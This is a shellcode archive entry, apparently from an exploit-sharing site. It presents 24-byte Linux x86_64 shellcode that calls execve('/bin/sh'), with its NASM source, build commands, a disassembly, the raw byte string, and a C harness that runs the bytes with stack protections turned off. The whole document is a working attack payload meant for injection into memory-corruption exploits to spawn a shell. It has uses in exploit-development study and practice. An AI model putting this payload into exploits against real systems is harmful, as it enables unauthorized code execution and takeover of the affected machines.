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Linux/x86_64 execve("/bin/sh") Shellcode

Linux/x86_64 execve("/bin/sh") Shellcode
Posted Jun 15, 2017
Authored by m4n3dw0lf

24 bytes small Linux/x86_64 execve("/bin/sh") shellcode.

tags | shellcode
systems | linux
MD5 | 0f0aac7432db39e01e8955c07202ce5c

Linux/x86_64 execve("/bin/sh") Shellcode

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/*
;Category: Shellcode
;Title: GNU/Linux x86_64 - execve /bin/sh
;Author: m4n3dw0lf
;Github: https://github.com/m4n3dw0lf
;Date: 14/06/2017
;Architecture: Linux x86_64
;Tested on : #1 SMP Debian 4.9.18-1 (2017-03-30) x86_64 GNU/Linux

##########
# Source #
##########

section .text
global _start
_start:
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall


#################################
# Compile and execute with NASM #
#################################

nasm -f elf64 sh.s -o sh.o
ld sh.o -o sh

#########################
# objdump --disassemble #
#########################

Disassembly of section .text:

0000000000400080 <_start>:
400080: 50 push %rax
400081: 48 31 d2 xor %rdx,%rdx
400084: 48 31 f6 xor %rsi,%rsi
400087: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40008e: 2f 73 68
400091: 53 push %rbx
400092: 54 push %rsp
400093: 5f pop %rdi
400094: b0 3b mov $0x3b,%al
400096: 0f 05 syscall

######################
# 24 Bytes Shellcode #
######################

\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

########
# Test #
########

gcc -fno-stack-protector -z execstack shell.c -o shell

*/

#include <stdio.h>

unsigned char shellcode[] = \
"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}

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